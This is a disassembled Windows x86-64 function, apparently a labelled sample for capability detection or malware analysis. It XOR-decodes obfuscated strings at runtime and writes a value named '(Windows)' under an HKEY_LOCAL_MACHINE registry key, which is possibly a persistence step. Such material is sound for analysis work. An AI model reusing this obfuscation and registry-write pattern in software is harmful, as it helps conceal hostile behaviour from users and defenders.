Function at 0x140003860
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x100
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400e5f00]
xor rax, rsp
mov qword [rbp + 0x17], rax
movdqa xmm6, xmmword [0x1400d5130]
xor ebx, ebx
mov edi, 0x9e8d
mov word [rbp - 0x35], bx
mov edx, ebx
mov dword [rbp - 0x59], 0x9ec69ece
mov r8d, edi
mov dword [rbp - 0x55], 0x9ecd9eda
mov dword [rbp - 0x51], 0x9eca9edd
mov dword [rbp - 0x4d], 0x9ec89ede
mov dword [rbp - 0x49], 0x9eda9ed2
mov dword [rbp - 0x45], 0x9ed79ed5
mov dword [rbp - 0x41], 0x9ecf9edb
mov dword [rbp - 0x3d], 0x9ec69ed1
mov dword [rbp - 0x39], 0x9ec39ec4
mov byte [rbp - 0x33], 1
movd xmm1, dword [rbp + rdx*2 - 0x59]
lea rax, [r8 - 4]
xorps xmm0, xmm0
lea rcx, [r8 - 5]
punpcklwd xmm1, xmm0
movq xmm2, rdx
punpckldq xmm1, xmm0
punpcklqdq xmm2, xmm2
paddq xmm2, xmm6
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
lea rcx, [r8 - 3]
movd dword [rbp + rdx*2 - 0x59], xmm1
movq xmm0, rax
movd xmm1, dword [rbp + rdx*2 - 0x55]
lea rax, [r8 - 2]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
movq xmm0, rax
movd dword [rbp + rdx*2 - 0x55], xmm1
lea rax, [r8 - 1]
movd xmm1, dword [rbp + rdx*2 - 0x51]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rax
pshuflw xmm1, xmm0, 0xd8
movq xmm0, r8
movd dword [rbp + rdx*2 - 0x51], xmm1
add r8, 8
movd xmm1, dword [rbp + rdx*2 - 0x4d]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rdx*2 - 0x4d], xmm1
add rdx, 8
cmp r8, 0x9e9d
jb 0x1400038f0
mov esi, 0x617a
cmp rdx, 0x12
jae 0x140003a04
nop dword [rax + rax]
movzx eax, dx
sub ax, si
xor word [rbp + rdx*2 - 0x59], ax
inc rdx
cmp rdx, 0x12
jb 0x1400039f0
movdqa xmm2, xmmword [0x1400d5160]
xorps xmm0, xmm0
mov dword [rbp - 0x19], 0x9ef19eae
mov ecx, 8
movd xmm1, dword [rbp - 0x19]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm6
mov dword [rbp - 0x15], 0x9ee59ee9
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
movd dword [rbp - 0x19], xmm1
movd xmm1, dword [rbp - 0x15]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmmword [0x1400d5140]
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
movd dword [rbp - 0x15], xmm1
mov dword [rbp - 0x11], 0x9eee9eff
movd xmm1, dword [rbp - 0x11]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmmword [0x1400d5150]
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
movd dword [rbp - 0x11], xmm1
mov dword [rbp - 0xd], 0x9ee39eac
movd xmm1, dword [rbp - 0xd]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
mov byte [rbp - 0x33], bl
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0xd], xmm1
mov dword [rbp - 0x69], 0x29
mov dword [rbp - 0x79], 0x570028
mov dword [rbp - 0x75], 0x6e0069
mov dword [rbp - 0x71], 0x6f0064
mov dword [rbp - 0x6d], 0x730077
mov byte [rbp - 0x65], bl
mov dword [rbp - 9], 0x9efb9ee1
mov dword [rbp - 5], 0x9ee29eb0
mov dword [rbp - 1], 0x9ee79ef7
mov dword [rbp + 3], 0x9ebd
mov byte [rbp + 7], 1
nop word [rax + rax]
movzx eax, cx
sub ax, si
xor word [rbp + rcx*2 - 0x19], ax
inc rcx
cmp rcx, 0xf
jb 0x140003b10
mov qword [rsp + 0x40], rbx
lea rax, [rbp + 0xf]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x59]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], ebx
mov byte [rbp + 7], bl
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140003e7d
lea rcx, [rbp - 0x19]
mov rax, 0xffffffffffffffff
cmp word [rcx + rax*2 + 2], bx
lea rax, [rax + 1]
jne 0x140003b70
mov rcx, qword [rbp + 0xf]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp - 0x79]
lea rax, [rbp - 0x19]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140003d41
mov dword [rbp - 0x59], 0x9ee29ee2
mov dword [rbp - 0x55], 0x9efb9ee9
mov dword [rbp - 0x51], 0x9efe9efb
mov dword [rbp - 0x4d], 0x9ef79ee5
mov dword [rbp - 0x49], 0x9efc9eae
mov dword [rbp - 0x45], 0x9efe9ee4
mov dword [rbp - 0x41], 0x9ef69ee0
mov dword [rbp - 0x3d], 0x9ef39eb4
mov dword [rbp - 0x39], 0x9ef49ee3
mov dword [rbp - 0x35], 0x9eb99ef3
mov dword [rbp - 0x31], 0x9ef49ee3
mov dword [rbp - 0x2d], 0x9eef9ee9
mov dword [rbp - 0x29], 0x9ef29ebe
mov dword [rbp - 0x25], 0x9ecc9ecf
mov dword [rbp - 0x21], 0x9ea99e8c
mov word [rbp - 0x1d], bx
mov byte [rbp - 0x1b], 1
nop
movd xmm1, dword [rbp + rbx*2 - 0x59]
lea rax, [rdi - 4]
xorps xmm0, xmm0
lea rcx, [rdi - 5]
punpcklwd xmm1, xmm0
movq xmm2, rbx
punpckldq xmm1, xmm0
punpcklqdq xmm2, xmm2
paddq xmm2, xmm6
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
lea rcx, [rdi - 3]
movd dword [rbp + rbx*2 - 0x59], xmm1
movq xmm0, rax
movd xmm1, dword [rbp + rbx*2 - 0x55]
lea rax, [rdi - 2]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
movq xmm0, rax
movd dword [rbp + rbx*2 - 0x55], xmm1
lea rax, [rdi - 1]
movd xmm1, dword [rbp + rbx*2 - 0x51]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rax
pshuflw xmm1, xmm0, 0xd8
movq xmm0, rdi
movd dword [rbp + rbx*2 - 0x51], xmm1
add rdi, 8
movd xmm1, dword [rbp + rbx*2 - 0x4d]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rbx*2 - 0x4d], xmm1
add rbx, 8
cmp rdi, 0x9ea5
jb 0x140003c20
cmp rbx, 0x1e
jae 0x140003d34
nop word [rax + rax]
movzx eax, bx
sub ax, si
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x1e
jb 0x140003d20
mov byte [rbp - 0x1b], 0
lea rdx, [rbp - 0x59]
jmp 0x140003e62
xorps xmm0, xmm0
mov dword [rbp - 0x79], 0x9ee69ec0
movd xmm1, dword [rbp - 0x79]
lea rdx, [rbp - 0x79]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm6
mov dword [rbp - 0x75], 0x9ee59ee1
movd xmm2, dword [rbp - 0x75]
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmmword [0x1400d5140]
movd dword [rbp - 0x79], xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
movd dword [rbp - 0x75], xmm1
mov dword [rbp - 0x71], 0x9eef9eef
movd xmm2, dword [rbp - 0x71]
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmmword [0x1400d5150]
pshufd xmm0, xmm2, 0xd8
movdqa xmm2, xmmword [0x1400d5160]
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
movd dword [rbp - 0x71], xmm1
mov dword [rbp - 0x6d], 0x9ebd9eac
movd xmm1, dword [rbp - 0x6d]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
mov dword [rbp - 0x69], 0x9ebe9ef6
pshufd xmm0, xmm2, 0xd8
movdqa xmm2, xmmword [0x1400d5170]
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
movd dword [rbp - 0x6d], xmm1
movd xmm1, dword [rbp - 0x69]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
mov dword [rbp - 0x65], 0x9e9b9ebe
pshufd xmm0, xmm2, 0xd8
movdqa xmm2, xmmword [0x1400d5180]
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
movd dword [rbp - 0x69], xmm1
movd xmm1, dword [rbp - 0x65]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
mov word [rbp - 0x61], bx
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x65], xmm1
mov byte [rbp - 0x5f], bl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140008490
mov rcx, qword [rbp + 0xf]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140003faa
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rbp - 0x79]
xorps xmm0, xmm0
mov dword [rbp - 0x79], 0x9ee69ec0
movd xmm1, dword [rbp - 0x79]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm6
mov dword [rbp - 0x75], 0x9ee59ee1
movd xmm2, dword [rbp - 0x75]
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmmword [0x1400d5140]
movd dword [rbp - 0x79], xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
movd dword [rbp - 0x75], xmm1
mov dword [rbp - 0x71], 0x9eef9eef
movd xmm2, dword [rbp - 0x71]
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmmword [0x1400d5150]
pshufd xmm0, xmm2, 0xd8
movdqa xmm2, xmmword [0x1400d5160]
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
movd dword [rbp - 0x71], xmm1
mov dword [rbp - 0x6d], 0x9ebd9eac
movd xmm1, dword [rbp - 0x6d]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
mov dword [rbp - 0x69], 0x9ebd9ef6
pshufd xmm0, xmm2, 0xd8
movdqa xmm2, xmmword [0x1400d5170]
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
movd dword [rbp - 0x6d], xmm1
movd xmm1, dword [rbp - 0x69]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
mov dword [rbp - 0x65], 0x9e9b9ebe
pshufd xmm0, xmm2, 0xd8
movdqa xmm2, xmmword [0x1400d5180]
pshuflw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
movd dword [rbp - 0x69], xmm1
movd xmm1, dword [rbp - 0x65]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
mov word [rbp - 0x61], bx
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x65], xmm1
mov byte [rbp - 0x5f], bl
call fcn.140008490
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.1400b1990
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret